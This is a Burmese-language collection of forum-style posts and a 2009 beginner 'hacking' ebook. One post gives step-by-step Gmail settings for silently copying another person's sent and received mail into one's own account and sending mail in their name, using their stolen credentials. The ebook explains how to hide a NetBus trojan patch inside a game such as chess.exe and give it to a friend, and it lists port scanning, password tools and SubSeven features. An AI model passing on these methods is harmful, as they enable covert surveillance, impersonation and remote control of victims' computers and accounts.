ကဲ ..ကြ်န္ေတာ္က အေပၚက အဲဒီနည္းေလးနဲ႔ Chat တဲ႔ သူေတြကို လိုက္ဖမ္းမယ္ဗ်ာ ..ဟီးဟီ …ေရွာင္ထား
ရွားထားၾကေပေတာ႔ .လာၿပီေနာ္ ၀ိုင္းရိုက္ၾကေတာ႔မလားေတာ႔ မသိဘူး ….သတိေတာ႔ ထားမွ …သိတာေလး
ေၿပာၿပတာပါ ခင္ဗ်ာ ….ကိုယ္ကလုပ္လို႔ေကာင္းေပမယ္႔ ….ကိုယ္႔ကို ၿပန္အဘတ္မခံရေအာင္ေပါ႔ …(
ေကာင္းမေလးက )
ဒီလိုဗ် … သူက Invisable န႔ဲ Chat ေနလား မ Chat ေနလားဆိုတာကို သိေအာင္ ….သူ Online
မွာတကယ္ရွိေနလား မရွိေနလားဆိုတာကို စမ္းဖို႔အတြက္ …ကြ်န္ေတာ္တို႔ Gtalk ကို ဖြင္႔လိုက္ပါ
….ၿပီးတ႔အဲ ခါမွာ …အဒဲ ီမွာ ကိုယ္စမ္းခ်င္တ႔ဲ သူရဲ႕ Nick ကို Click ၿပီး Chat box ထုတ္လိုက္ပါ …
ထုတ္ၿပီးၿပီဆိုရင္ မ Chat န႔အဲ ုန္း ….သူ႔ကိုဖမ္းဖို႔အတြက္ …..နဲနဲေလး ၿပင္ၿပီး Chat မယ္ …Chat box ရဲ႕
အေပၚဆံုးမွာ ရွိတယ္ဗ် …( ညာအစြန္ဆံုးမွာပါ ) Down arrow ေလး …အဲဒါေလးကို ဆြဲခ်လိုက္ပါ ..အဲဒီမွာ
sent files , emeil , Go off the record ဒါေလးေတြ ရွိပါတယ္ ….အဲဒီထဲက Go off the record
ဆိုတာေလးကို Click လိုက္ပါ …
အဲဒါေလးကို ႏွိပ္ထားရင္ Chat Box က ဒီလိုေလး ၿဖစ္ေနပါတယ္ …
အဲဒီမွာ Chat လိုက္ပါ …Hello လို႔ ..တကယ္လို႔ ကိုယ္ Chat လိုက္တဲ႔လူဟာ Offline မွာ
တကယ္ရွိတယ္ဆိုရင္ ..ဒီလိုေလး ေပၚပါမယ္ …
တကယ္လို႔ ကိုယ္ Chat လိုက္တ႔ဲ လူဟာ ပုန္းေနတယ္ …. Online မွာရိွတယ္ ဆိုရင္ေတာ႔ …ဒီလိုေလး
ေပၚပါမယ္ ခင္ဗ်ာ ….
အားလံုးေတာ႔ ၿပီးသြားၿပီ …( ဒီနည္းကို ကြ်န္ေတာ္႔ ေကာင္မေလး မသိပါေစနဲ႔ဗ်ာ … )
ေနာက္တစ္နည္းကေတာ႔ ကိုယ္႔ကို Block ထားတာေတြ လိုက္ဖမ္းမယ္ …ဆိုတဲ႔ နည္းေလးပါပဲ ..
ဒီတစ္ခါ ကိုယ္႔ကို မေက်နပ္လို႔ block ေပးထားတာကို သိေအာင္လုပ္တဲ႔ နည္းေလးပါ …..ဘာေၾကာင္႔ပဲ
Block Block ေပါ႔ ..ဘယ္ရမလဲ ….ဒါနည္းန႔ဲ ဖမ္းပစ္မယ္ …။
ကဲ ..စမယ္ …
ကိုယ္႔ ID ကို တၿခားလူတစ္ေယာက္က Block ေပးထားတာကို …သိေအာင္ ဘယ္လိုလုပ္မလဲ ဆိုရင္ …
အဲဒါကို သိခ်င္တယ္ဆိုရင္ေတာ႔ .. ဒီလိုလုပ္ရင္ သိႏိုင္ပါတယ္ ခင္ဗ်ာ …ကိုယ္သိလိုတဲ႔ ID ကို Chat box
ထုတ္လိုက္ပါ …ၿပီးရင္ Voice ေခၚလိုက္ပါ …Offline ၿဖစ္ေနတာဆိုေတာ႔ … Send Voicemail လို႔ပဲ ေပၚမယ္
….အဲဒီမွာ ေခၚလိုက္ရင္ ဘယ္လိုၿဖစ္တယ္ဆိုတာက ိုၾကည္႔ၿပီး Block ထားတယ္ … မ Block ထားဘူး …
အဲဒါေလးေတြကို သိႏိုင္ပါတယ္ ခင္ဗ်ာ …။
အိုေက … တကယ္လို႔ ေခၚလိုက္လို႔ ….ေခၚလို႔ရတယ္ …အဲဒီမွာ မိန္းကေလး အသံနဲ႔ .. The best … ဆိုလား
..ဘာလားပဲ ..မသိဘူးဗ်ာ ….အဲဒီလိုေလး ၿပန္ေၿပာတယ္ ….ေခၚလို႔ရတယ္ေပါ႔ …..။
ဒီလို အေၿခအေနမ်ိဳးမွာဆိုရင္ေတာ႔ ဒါ ကိုယ္႔ ID ကို သူမ်ားက Block ထားၿခင္း မရွိပါဘူး …တကယ္ကို
Offline ၿဖစ္ေနတာပါ ….ေသခ်ာတယ္ …..။
တကယ္လို႔ ေခၚလို႔မရဘူး …Send Voicemail ကို ႏိွပ္လိုက္ရင္ …ေခၚလိုက္ရင္ က်က်သြားတယ္ …ေခၚတာနဲ႔
က်တာပဲ ..အဲဒါဆိုရင္ေတာ႔ ေသခ်ာတယ္ ….ကိုယ္႔ ID ကို Block ထားပါၿပီ …သြားခ်ဲလိုက္ေတာ႔ … (
တကယ္ သာြ းမလုပ္န႔ေဲ နာ္ ) …..
Gtalk ႏငွ ပ္႔ တသ္ ကသ္ မ်ွ ( ၂ )
ေရးသားသူ.... မေနာသား
ဒီတစ္ခါ အျခားသူတစ္ေယာက္ရဲ႕ mail address နဲ႔ ကိုယ့္ mail ထဲကေနပဲ ကိုယ္က ေပးပို႕စာတုိ႔ ျပန္စာတို႔
send လို႔ရတ့အဲ ျပင္သူ႔ mail ထကဲ send mail နဲ႕ incoming mail ေတြကို ကိုယ့္ mail ထဲသို႔
ပုံမွန္ေရာက္လာေအာင္ လုပ္တ႔ ဲ နည္းေလးကို ေ၀မွ်ေပးသြားပါမယ္ ...။
ဒါေပမယ့္ အ့လဲ ို ကိုယ္လုပ္ခ်င္တ့ဲ mail ရဲ႕ user name န႔ဲ စကား၀ွက္ ကိုေတာ့သိထားရပါမယ္
... ...စကား၀ွက္ သိမွေတာ့ အ့လဲ ိုလုပ္စရာေတာ့မလိုပါဘူး .. သူ႔ mail ထဲပဲသြားဝင္ၾကည့္ေတာ့မွာေပါ့ဗ်ာ
... ... ..ဒါေပမယ့္ သူ႔ mail ထဲက send mail နဲ႕ incoming mail ေတြကို သူ႔ mail ကို မဖြင့္ပဲ ကိုယ့္ mail
ထကဲ ပဲ ၾကည့္လို႔ရတ့အဲ ျပင္ကိုယ့္ mail ထဲကေန သူကဘဲ mail ပို႔ေနသလိုလိုျဖင့္ ကိုယ္ကၾကားျဖတ္ mail
ပို႔လို႔ရတယ္ဆိုတာကို စိတ္ဝင္စားဖို႔ေကာင္းလို႔ မွ်ေဝလိုက္တာပါ ..ေနာက္ၿပီး mail ေတြအမ်ားႀကီး ေဖာက္ၿပီး
က်ဴၾကတ့သဲ ူေတအြ တကြ ္လည္း အသုံးဝင္မယ္ထင္ပါတယ္ .. .. ေအာက္ပါအတိုင္း ကိုယ္ရိွသမွ် mail
အားလံုးကိုလုပ္ထားမယ္ဆိုရင္ကိုယ္ mail send ခ်င္ရင္ ကိုယ္ေဖာက္ထားတဲ့ mail အားလံုး ဖြင့္စရာမလိုပဲ
mail တစ္ခုထဲကေန mail address ေလး ေျပာင္းၿပီး တစ္ထိုင္တည္း send ေနလို႔ရပါတယ္ ....
ပထမဆုံးအေနန႔ဲ ကိုယ္လုပ္ခ်င္တ႔ဲ ( အျခားသူရဲ႕) mail ကိုဖြင့္ၿပီး Settings -> Forwardinf and
POP/IMAP ထဲက POP Download:မွာ Status: POP is disabled ျဖစ္ေနတယ္ဆိုရင္ Enable POP for all
mail ဆိုတာကို Select ေပးၿပီး Save Changes ကို click လိုက္ပါ ...
Status: POP is enabled ျဖစ္ေနတယ္ဆိုရင္ ဘာမွလုပ္စရာမလိုပါဘူး ... ...ၿပီးရင္ ကိုယ့္ရဲ႕ mail ကိုဖြင့္ၿပီး
Settings -> Accounts ထဲက Get mail from other accounts: ေဘးက Add another mail accountကို
click လိုက္ပါ ... Add a mail account ဆိုတဲ့ box ေလးေပၚလာပါလိမ့္မယ္ ....Email address: ေနရာမွာ
ကိုယ္လုပ္ခ်င္တ့ ဲ ( အျခားသူရ႕ဲ ) mail address ကိုထည့္ပါ ...
ၿပီးရင္ Next Step ကို click ပါ ... Page တစ္ခုထပ္ေပၚလာပါလိမ့္မယ္ ..Username နဲ႔ စကား၀ွက္ ေနရာမွာ
ကိုယ္လုပ္ခ်င္တ့ ဲ ( အျခားသူရ႕ဲ ) mail ရ႕ဲ Username န႔ဲ စကား၀ွက္ ကိုထည့္ပါ ..
ၿပီးရင္ Add Account ကို click ပါ ... Your mail account has been added ဆိုတဲ့ Page
ေပၚလာပါလိမ့္မယ္ ...Yes, I want to be able to send mail as ......... ဆိုတာကို Select ေပးပါ ...
Next Step ကို click ပါ .. Next Step တစ္ခု ထပ္ေပၚလာရင္လည္း ကိုယ္လုပ္မယ့္ (အျခားသူရဲ႕ )
username ကို မွန္ေအာင္ထည့္ၿပီး Next Step ကို click ပါ ... ေနာက္ဆံုး Verify your email address box
ေပၚလာပါလိမ့္မယ္ ..
Send Verification ကို click ပါ ... confirmation code ထည့္ရမယ့္ box ေလးေပၚလာပါလိမ့္မယ္ .. ..
ထည့္ရမယ့္ confirmation code ကို ကိုယ္လုပ္မယ့္ ( အျခားသူရဲ႕) mail မွာဝင္ၿပီး
အရင္သြားယူရမွာျဖစ္တ့အဲ တကြ ္ confirmation code ထည့္ခိုင္းတ့ဲ box ကို ပိတ္ၿပီး Signout လုပ္ပါ .. ..
ကိုယ္လုပ္မယ့္ ( အျခားသူရဲ႕) mail ကိုဖြင့္ၿပိးconfirmation code ကို copy လုပ္ထားလိုက္ပါ .. . ၿပီးရင္း
ကိုယ့္ရဲ႕ mail ကိုျပန္ဖြင့္ၿပီး Settings -> Accounts ထဲကSend mail as: မွာ unverified ျဖစ္ေနတဲ့
ကိုယ္လုပ္လိုက္တ့ ဲ ( အျခားသူရ႕ဲ ) mail address ေပၚေနတာေတြ႕ရပါလိမ့္မယ္....
အ့ဲဒီ mail address ေဘးမွာ verify ဆိုတာကို click လိုက္ပါ .. confirmation code ထည့္ရမယ့္ box
ေလးျပန္ေပၚလာပါလိမ့္မယ္ ..copy လုပ္ထားတဲ့ confirmation code ကို ထည့္ၿပီး Verify ကို click လိုက္ပါ
..ၿပီးပါၿပီဗ်ာ .... .. သင္လုပ္လိုက္တ့ဲ ( အျခားသူရဲ႕ ) mail ထဲက သူ send တ့ဲ mail ေတြန႔ဲ သူ႔အထဲဝင္တ့ဲ
mail ေတြအားလံုး သင့္ mial ထဲမွာေန႔စဥ္ေဖာ္ျပေနပါလိမ့္မယ္ ...... ..... ..
အ့ဲဒီလို ကိုယ့္ mail ကို လုပ္ထားျခင္းခံထားရ မခံထားရကို ဘယ္လိုသိနိုင္မလဲ ဆိုတာေတာ့
အထက္ပါေဖာ္ျပပါတစ္ေနရာမွာမသိမသာ ပါသြားၿပီးျဖစ္တဲ့အတြက္ ေျပာမျပေတာ့ပါဘူး .. ........ ..
ကိုယ့္ကိုလုပ္ထားျခင္းခံထားရၿပီဆိုတာသိရင္ေတာ့ ........ ကာကြယ္လို႔ရပါတယ္ ...
အဲ ... ....အျခား mail ကို သြားလုပ္ထားတဲ့သူက ကိုယ့္ mail ထဲကို သူ႔ရဲ႕ send mail နဲ႕ incoming mail
ေတြမေရာက္ေတာ့ဘူးဆို္ရင္ေတာ့ ... .. ကိုယ့္ mail ကိုဖြင့္ၿပီး Settings -> Accounts ထဲက Get mail
from other accounts: ဆိုတ့ေဲ ဘးမွာ ေအာက္ပါပုံကို ေတ႔ြပါက ကိုယ္လုပ္ထားတ့ဲ (အျခားသူရဲ႕) mail
ပိုင္ရွင္က ကာကြယ္လိုက္ျခင္းျဖစ္ပါတယ္ ...
ဒါေပမယ့္ .... send mail နဲ႕ incoming mail ေတြကို မေရာက္ေအာင္သာကာကြယ္လို႔ပဲရပါတယ္
.... ..ကိုယ့္ mail ထဲကေန ကိုယ္လုပ္ထားတဲ့ (အျခားသူရဲ႕) mail adderss အေနနဲ႔ ျပန္စာတို႔ ေပးပို႔စာတို႔
send ေနလို႔ရပါေသးတယ္ ...အ့ဲဒီလို send လို႔မရေအာင္ ဘယလ္ ိုကာကြယ္မယ္ဆိုတာကို ကၽြန္ေတာ္လည္း
မသိပါဘူး ... သိရင္ ဝင္ေရာက္ေဆြးေႏြးေပးပါအံုးဗ်...ကိုယ့္ mail ထဲကေန
ကိုယ္လုပ္ထားတ့အဲ ျခားသူတစ္ေယာက္ရ႕ဲ mail address န႔ဲ သူ႕ပုံစံျဖင့္ ကိုယက္ massage ေတြ send
မယ္ဆိုရင္ကိုယ့္ account ထဲမွာ Compose Mail ကိုသြားလိုက္တာနဲ႔ From ဆိုၿပီး ကိုယ့္ mail address နဲ႔
ကိုယ္လုပ္ထားတ့ ဲ mail address ေတြ ေပၚေနတာေတြ႕ရပါလိမ့္မယ္ ...
ကိုယ္လုပ္ထားတ့ ဲ mail address ကို Select လုပ္ၿပီး send လိုက္႐ုံပါပဲ .... ...။
Ref : ဒီနည္းေလးကေတာ႔ ကြ်န္ေတာ္႔ သူငယ္ခ်င္း Ogre ရဲ႕ရွာေဖြမွဳကို ျပန္လည္ေ၀မွ်ျခင္းပဲ ျဖစ္ပါတယ္ ...။

အေျခခံ Hacking နည္းပညာစာအုပ္ ။


မာတိကာ
Introduction: ဟက္ကာဆိုတာဘာလဲ ႏွင့္ ကြ်ႏ္ုပ္၏ အျမင္
အပိုင္း (၁) : လိုအပ္ေသာအရည္အျခင္းမ်ား
အပိုင္း (၂) : Hacker တို႔၏ လွ်ိဳ႕၀ွက္ခ်က္မ်ား
……….Intro
……….Trojan Horse ဟုေခၚေသာ virus အေၾကာင္း
…………ဟက္ကာေတအြ သုံးျပဳေသာ လွ်ိဳ႕၀ွက္ အရာမ်ား
………..Port Scanning
………..SubSeven
……….NetBus
အပိုင္း (၃) : Gmail Password Hack နည္း
…………..Phishing အေၾကာင္း Intro
အပိုင္း (၄) : Phishing နည္းလမ္းကိုအသံုးျပဳ၍ gmail password ေဖာက္နည္း
အပိုင္း (၅) : Windows ကို၀င္ေမႊနည္း တိုလီမုတ္စမ်ား
………. Registry သို့၀င္ေရာက္ေမႊေႏွာက္ျခင္း
……… Folder ကို software မသံုးပဲ lock ခ်နည္း ႏွင့္ Funny Command ေရးနည္း
……… Cmd Dos Command နည္းနည္းပါးပါး
……… Folder Background ကို software မသံုးပဲ ပံုလွလွေလးထည့္နည္း
……… website ေတြ႕ရဲ႕ IP ကုိခ်က္ခ်င္းသိခ်င္တယ္ဆိုရင္
စာေရးသူ (မစၥတာ.ေမာင္ဘစ္ေန)
(18-9-2009 ~ 30-9-2009)
ဟက္ကာဆိုတာဘာလဲ ??? ကြ်ႏ္ုပ္၏အျမင္ ။
Hacking ပညာရပ္ဆိုသည္ သင္ယူလို႔ရေသာ ပညာမဟုတ္။ အသံုးခ် နည္းပညာမ်ားကို ေလ့လာေတြ႔ရွိျပီး
အားနည္းခ်က္ကို ရွာေဖြႏိုင္ေသာ ပညာျဖစ္သည္။ Online ေပၚတြင္ Hacking နဲ႔ပတ္သတ္ေသာ
စာအုပ္မ်ားစြာကိုေတြ႕ဘူးျပီး Hacking ႏွင့္ပတ္သတ္ေသာ web site မ်ားလဲ ေပၚထြက္ေနပါျပီ။ Vulnerability
ေပါင္းမ်ားစြာကို hacker ဟုေခၚေသာ လူစုမ်ားက ရွာေဖြေတြ႔ရွိျပီး web site ေပါင္းမ်ားစြာတြင္ တင္ထားၾကပါတယ္။ အဲဒီ
နည္းပညာရပ္ေတြကို အသံုးျပဳ မွီခို ေနတဲ့လူေတြအမ်ားႀကီးရွိပါတယ္။ ဒါေတြက ဟက္ကာေတြလားဆိုတဲ့
ေမးခြန္းေမးႏိုင္ပါတယ္။
Tool user ေတြပါ၊ professional hacker တစ္ေယာက္ဆိုတာ ပါရမီအရင္းခံျပီး ကြန္ပ်ဴတာ နည္းပညာ
ကိုရူးသြပ္တဲ့ လူတစ္ေယာက္ရဲ႕IT ပိုင္းဆိုင္ရာေပ်ာ့ကြက္ကို ရွာေတြ႔ႏိုင္ျခင္းျဖစ္ပါတယ္။ White, black, gray လို႔ေခၚတဲ့
hacker သံုးမ်ိဳးခြဲထားပါတယ္။ နဲ႔ black ကေတာ့ ရန္သူေတြေပါ့။ အမ်ားစုက gray ေတြပါ။
ဒါဆို က်ေနာ္ေရးထားတဲ့ စာအုပ္ကေကာ၊ ဖတ္ျပီး hacker တစ္ေယာက္ျဖစ္ႏိုင္ပါ့မလား
လို႔ေမးႏိုင္စရာအေၾကာင္းရွိပါတယ္။ က်ေနာ္ကိုယ္တိုင္ေတာင္မွ ဟက္ကာမဟုတ္တာဗ်။ :D ။ က်ေနာ္သိတာေလးေတကြ ို
share လုပ္ေပးခ်င္တဲ့ရည္ရြယ္ခ်က္ကို အဓိကထားတာပါ။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၁) လိုအပ္ေသာ အရည္အျခင္းမ်ား
hacking လုပ္သည့္ေနရာတြင္ တစ္ဦးတစ္ေယာက္လုပ္ျခင္းထက္ အ မ်ားႏွင့္
ပူေပါင္းျပီး လုပ္လွ်င္ ပုိျပီး အ က်ဳိးရွိသည္။ ထုိ႕ေၾကာင့္ Ethical hacking တြင္ Hacker
မ်ားစုဖြဲ႕ျပီး TEAM တစ္ခုအ ေနျဖင့္ လုပ္ေဆာင္ရသည္။ ၎တုိ႕သည္ အ ခ်ိန္တုိင္း မိမိ
ကုိင္တြယ္ရေသာ System အား လုိအ ပ္ခ်က္မ်ားကုိရွာေဖြျပင္ဆင္ရသည္။
တုိက္ခုိက္ျခင္းမ်ဳိးစုံ ရွိသည့္အ တြက္ အ ားလုံးကုိသိရွိရန္မွာမျဖစ္ႏူိင္ေပ။မိမိhacking
အ ဖြဲ႕တြင္ လုပ္ကုိင္ေသာသူမ်ားသည္ ေအာက္ေဖာ္ျပပါ ပညာရပ္မ်ားကုိ တစ္ဦး
တစ္ေယာက္ျခင္း အ ေသအ ခ်ာတတ္ေျမာက္ရန္လုိအပ္သည္။
· Programming
· Webdeveloping
· Software Crackers
· Web Hackers
· Network security groups
· system admin groups
· database Hackers
· crytoanalizer
၎ပညာရပ္မ်ား အားလုံးကုိ သိရွိရန္ မလုိေပ။ သုိ႕ေသာ္ general knowledge
သိရွိရမည္။ မိမိ Hacker အဖြဲ႕တြင္ လူတစ္ေယာက္စီ ပညာတစ္ခုစီကုိ
ေသေသခ်ာခ်ာတတ္ေျမာက္ရန္လိုအပ္သည္။
Hacker တစ္ေယာက္ေအာင္ျမင္စြာျပဳလုပ္ႏုိင္ရန္အတြက္လုိအပ္ခ်က္မ်ားစြာရွိသည္။
မိမိ ၀င္ေရာက္လုိေသာ ေနရာ၏ data အျပည့္အစုံကုိသိရွိေအာင္ အရင္ဆုံးျပဳလုပ္ရမည္။
IP address
မိမိ၀င္ေရာက္ရမည့္ Computer ၏ address
Hostname
မိမိ ၀င္ေရာက္ရမည့္ Computer ၏ နာမည္
Software
၎ Computer တြင္အသုံးျပဳေသာ Software မ်ား
Firewall rules
Network ၏ လုံျခဳံေရးအတြက္အသုံးျပဳထားသည္မ်ား
Phone Numbers
ဖုန္းနံပါတ္
Employee names
အလုပ္သမားမ်ား ၏ အေၾကာင္းအရာမ်ား
မိမိတုိ႕သိလုိေသာ အခ်က္မ်ားစြာကုိ Internet မွ မ်ားစြာအကူအညီေပးႏုိင္သည္။
သင ္hacking လုပ္လုိေသာ ေနရာ၏ data ၆၀% ကုိ internet မွရွာႏုိင္ပါသည္။
၎၏ company ႏွင့္ပတ္သက္ေသာ ဖုန္းနံပါတ္ ၊ IP address ၊ Firewall ၊ အလုပ္သမား
ဦးေရ ၊ company စတင္တည္ေထာင္ေသာေန႕ ၊ company ၏ ပုိင္ရွင္ အမည္မ်ား ၊
company ခ်ိတ္ဆက္ထားေသာ တျခားNetwork မ်ား၊ company ၏ထုတ္ ကုန္မ်ားစသည့္
သတင္းအခ်က္အလက္မ်ားကုိအက်ဳိးရွိရွိ အသုံးခ်ရမည္ျဖစ္သည္။
hacking ျပဳလုပ္ရန္အတြက္အသုံးျပဳေသာ Tools မ်ား
1. Google (အေၾကာင္းအရာမ်ားစြာကုိ ရွာႏုိင္သည္။)
2. Google Earth (Network ခ်ိတ္ဆက္ျခင္းမ်ားကုိ ၾကည့္ရႈရန္)
3. Nmap (IP addres မ်ားကုိၾကည့္ရႈရန္)
4. John The Ripper (Password မ်ားကုိေက်ာ္ႏုိင္ရန္)
5. Lan Guard (မိမိ၏ Network ကုိ ေစာင့္ၾကည့္ရန္)
6. Pwdump 6 (Password မ်ားကုိခ်ိန္းရန္)
7. Firebug (website မ်ားမွျပင္ၿပီး server ထဲသို႕၀င္ရန္)
8. Java ( Mysql ကုိျပင္ဆင္ရန္)
9. putty (တျခား Computer ထဲသုိ႕ ၀င္ေရာက္ရန္)
၎ တုိ႕ျဖင့္စတင္စမ္းသပ္ အသုံးျပဳၾကျပီး မိမိတုိ႕၏ ဥာဏ္ရည္ဥာဏ္ေသြးအရ
ဆက္လက္အေကာင္အထည္ေဖာ္ၾကည့္သင့္သည္။Tools မ်ား၏ အလုပ္လုပ္ပုံကုိ ေသခ်ာ နား
လည္မွသာ အသုံးျပဳႏုိင္မည္ျဖစ္သည္။Tools မ်ား၏ အားနည္းခ်က္မ်ားကုိ သိထားရမည္ ျဖစ္
သည္။ Tools မ်ားကုိသုံးလွ်င္ ၎တုိ႕၏ သုံးစြဲပုံ အေၾကာင္းကုိ ေသခ်ာဖတ္ၾကည့္ရမည္။
……………………………………………………………………………………………………………………………………………...........
အပိုင္း (၂) Hacker တို႔၏ လွ်ိဳ႕၀ွက္ခ်က္မ်ား…
Intro
Trojan Horse
Hacking ရဲ႕အဓိက တရားခံလို႔ေျပာႏိုင္တာကေတာ့ Trojan ဆိုတဲ့ virus ေၾကာင့္ပါ။
အင္တာနက္ဆိုင္ေတြမွာ ေတြ႔ရတတ္တယ္ ။ USB Stick ေတြကို virus scan လုပ္လိုက္ရင္
ေတာ္ေတာ္မ်ားမ်ားေတြ႔ရတဲ့ virus တစ္မ်ိဳးေလ။ Trojan, Trojan နဲ႔ လူသိေတာ္ေတာ္မ်ားပါတယ္။
က်ေနာ္ေလ့လာလို႔သိရတာေတာ့ ကြန္ပ်ဴတာရဲ႕ အခ်က္အလက္ေတြ၊ password ေတြအခိုးခံရတာဟာ အဲဒီ
Trojan ေတြေၾကာင့္လို႔ သံသယျဖစ္မယ္ဆိုရင္ မမွားႏိုင္ပါဘူး။ Trojan ဆိုတာ program ေသးေသးေလးပါ။
အဲဒီ program ေလးက ကြန္ပ်ဴတာတစ္ခု ထဲမွာ ၀င္ေရာက္ေနရာယူကာ hacker ဆီသို႕ ၄င္းကြန္ပ်ဴတာ၏
information မ်ားကို သတင္းေပးႏိုင္ေသာ Program တစ္ခုပါ။ ၄င္း Trojan ျဖင့္ ကြန္ပ်ဴတာမ်ားကို
ထိန္းခ်ဳပ္ႏိုင္ပါသည္။
Trojan မ်ား၏ အမ်ားအားျဖင့္ လုပ္ေဆာင္ႏိုင္ေသာ အစြမ္းသတိၱမ်ားကို ေအာက္တြင္ေဖၚျပထားပါသည္။
.CD-Rom drive မ်ားကို အဖြင့္၊ အပိတ္ control လုပ္ႏိုင္ျခင္း
.သင္၏ ကြန္ပ်ဴတာမွ screenshot ကို capture လုပ္ႏိုင္ျခင္း
.သင္၏ password မ်ား ( Windows, MSN, Gmail, Yahoo,….အစသျဖင့္) ကို hacker ဆီသို႔ သတင္းပို႔ေပးႏိုင္ျခင္း
.သင္၏ hard disk ထဲမွ file မ်ားကို လိုသလို ကူးယူႏိုင္ျခင္း၊ delete လုပ္ႏိုင္ျခင္း
.Keyboard ႏွင့္ mouse ကို Disable လုပ္ႏိုင္ျခင္း……အစသျဖင့္
Popular ျဖစ္ေနေသာ Trojan မ်ား
-NetBus
-SubSeven
NetBus Trojan မွာ အျခား Trojan မ်ားကဲ့သို႕ အေရးႀကီးတဲ့ အစိတ္အပိုင္း ၂ ပိုင္း ရွိပါတယ္။ NetBus Server.exe ရယ္
Patch.exe ရယ္ဆို တဲ့ exe file ၂ ခု ပါ၀င္ပါတယ္။ NetBus Server ကို သင္၏ ကြန္ပ်ဴတာထဲသို႔ အရင္ဆံုး install
လုပ္ရန္လိုပါသည္။ Patch file ကို သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာထဲသို႔ သြင္းႏိုင္ရန္ အဓိက လိုအပ္ပါသည္။
ဥပမာ- သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာ ပိုင္ရွင္၏ information ကိုအရင္ဆံုးစံုစမ္းသင့္ပါသည္။ သင္သည္
မိတ္ေဆြ သူငယ္ခ်င္းဆို လွ်င္ပို၍ အဆင္ေျပပါသည္။ ေရွးဦးစြာ သူ ၏ email သို႔ ပို႔၍ run
ခိုင္းျခင္းအားျဖင့္လဲ ရႏိုင္ပါသည္။ ဒါမွမဟုတ္ သူ႔အား ဂိမ္းလက္ေဆာင္ေပးသလိုလိုျဖင့္ ၄င္းဂိမ္းထဲတြင္
Patch file ကို သြင္းေပးလိုက္ပါ။ chess.exe file ဆိုပါစို႕။ ၄င္း exe file ထဲသို႔ Patch သြင္းလိုက္ပါ။
ResHacker software ျဖင့္ ဖန္တီးႏိုင္ပါသည္။ ထို႔ေနာက္ သင္ဖန္တီးလိုက္ေသာ chess.exe ဟာ
သာမန္အတိုင္းပါပဲ။ ဘာမွမေျပာင္းလဲသြားပါဘူး။ အဲဒီ ဟာကို install လုပ္လိုက္လွ်င္ ဂိမ္းဟာ သူ႔
orginal အတိုင္းပါပဲ။ ဘာမွ ျပႆနာမေပးႏိုင္ပါဘူး။ သင္ေပးလိုက္တဲ့ chess ထဲက patch file
ေလးက သင္ hack ခ်င္ေသာ ကြန္ပ်ဴတာထဲတြင္ ေနရာယူျပီးသားျဖစ္ပါတယ္။ အဲဒီ file ကလဲ hidden
ျဖစ္ေနတာပါ။ အဲဒါဆို အဆင္ေျပသြားပါလိမ့္မယ္။ စ hack က်တာေပါ့။…..:D ။
ဟက္ကာေတြ အသံုးျပဳေသာ လွ်ိဳ႔၀ွက္ အရာမ်ား
(၁) Port Scanners
Port Scanner ဆိုတာဘာလ ဲ
Port Scanning ရဲ႕ အဓိက ရည္ရြယ္ခ်က္ကေတာ့ opening port ေတြကို ရွာဖို႕ျဖစ္ပါတယ္။ Hacker တစ္ေယာက္
အတြက္ အေျခခံက်တဲ့ နည္းတစ္ခုပါ။ opening port ေတြကိုသိမွ hack လို႔လြယ္မွာကိုး….။Hacker အေနနဲ႔ server ေပၚ
မွာလုပ္ေနတဲ့ service ေတြကို ၾကည့္ျခင္းအားျဖင့္ vulnerability ေတြကို ရွာႏိုင္ဖို႔ အခြင့္အလန္းပိုမ်ားလာမွာပါ။
နာမည္ႀကီးတဲ့ nmap port scan tool ကိုေဒါင္းလုတ္ခ်ဖို႔ link ပါ > http://nmap.org/download.html <
Online ေပၚမွာအျခားport scanner tool ေကာင္းေကာင္းေတြအမ်ားႀကီးရွိပါေသးတယ္….။
Start Scanning
Target Host: www.yourcompany.com
TCP Port :7 (echo)
TCP Port :9 (discard)
TCP Port :13 (daytime)
TCP Port :19 (chargen)
TCP Port :21 (ftp)
TCP Port :23 (telnet)
TCP Port :25 (smtp)
TCP Port :37 (time)
TCP Port :53 (domain)
TCP Port :79 (finger)
TCP Port :80 (www)
TCP Port :110 (pop)
TCP Port :111 (sunrp)
Port Scanning ကို ၂ မ်ိဳးလုပ္ႏိုင္ပါတယ္။ ပထမတစ္ခုက Single IP port ဖြင့္ရန္အတြက္ႏွင့္ ဒုတိယတစ္ခုကို Range IP
Port ဖြင့္ရန္ျဖစ္ပါတယ္။ IP ဆိုတာက ေရွ႕ကဟာကတူျပီး အေနာက္က နံပါတ္ကေျပာင္းလဲသြားႏိုင္ပါတယ္။
ဥပမာ 192.168.1.2 , 192.168.1.3 အစသျဖင့္ေပါ့။ ဖုန္းနံပါတ္အတိုင္းပါပဲ (530-xxx) အစသျဖင့္……….
Range IP ဆိုတာက ေတာ့ ( 555-0000 to 555-9999) အထိ ၾကားထဲက မည္သည့္ဂဏန္းမဆို ျဖစ္ႏိုင္ပါတယ္။
Port Scanner ဆိုတာ ဒီလုိမ်ိဳးေပါ့
(၂) Trojan
Trojan အေၾကာင္းကေတာ့ Hacking မွာ မပါ မျဖစ္ကိုေတြ႔ရမွာပါ။ ဘာလို႔လဲဆိုေတာ့ Trojan ေတြက
ဟက္ကာေတြရဲ႕လက္စ ြဲ virus တစ္မ်ိဳးမို႔လို႔ပါ။ Trojan ေပါင္း တစ္ရာေက်ာ္နီးပါရိွပါတယ္။ အဲဒီထဲက
စံုတြဲ သေဘာလိုျဖစ္ေနေသာ Trojan အေၾကာင္း ဥပမာ အေနႏွင့္ေဖၚျပထားပါတယ္။ အဲဒီ Trojan ျဖင့္
က်ေနာ္ အခုလက္ရွိေမႊေနတယ္ေလ…..
Sub Seven
Sub Seven Trojan မွာ လုပ္ေဆာင္ႏိုင္တဲ့ စြမ္းရည္ အမ်ားအျပားရွိပါတယ္။ ၄င္း Trojan ဟာ က်ေနာ္ေတြ႔ဖူးသမွ်
Trojan ၁၀၀ေက်ာ္ေလာက္ထဲက အေကာင္းဆံုး လို႔ ယူဆပါတယ္။ ၄င္းရဲ႕လုပ္ေဆာင္ႏိုင္တဲ့စြမ္းရည္ေတြကို
ေအာက္မွာေဖၚျပထားပါတယ္။
SubSeven ဆိုတာ ဒီလိုမ်ိဳးပါ
လုပ္ေဆာင္ႏိုင္မွဳမ်ား
-address book
-www pager retriever
-UNI2IP
-remote IP scanner
-host lookup
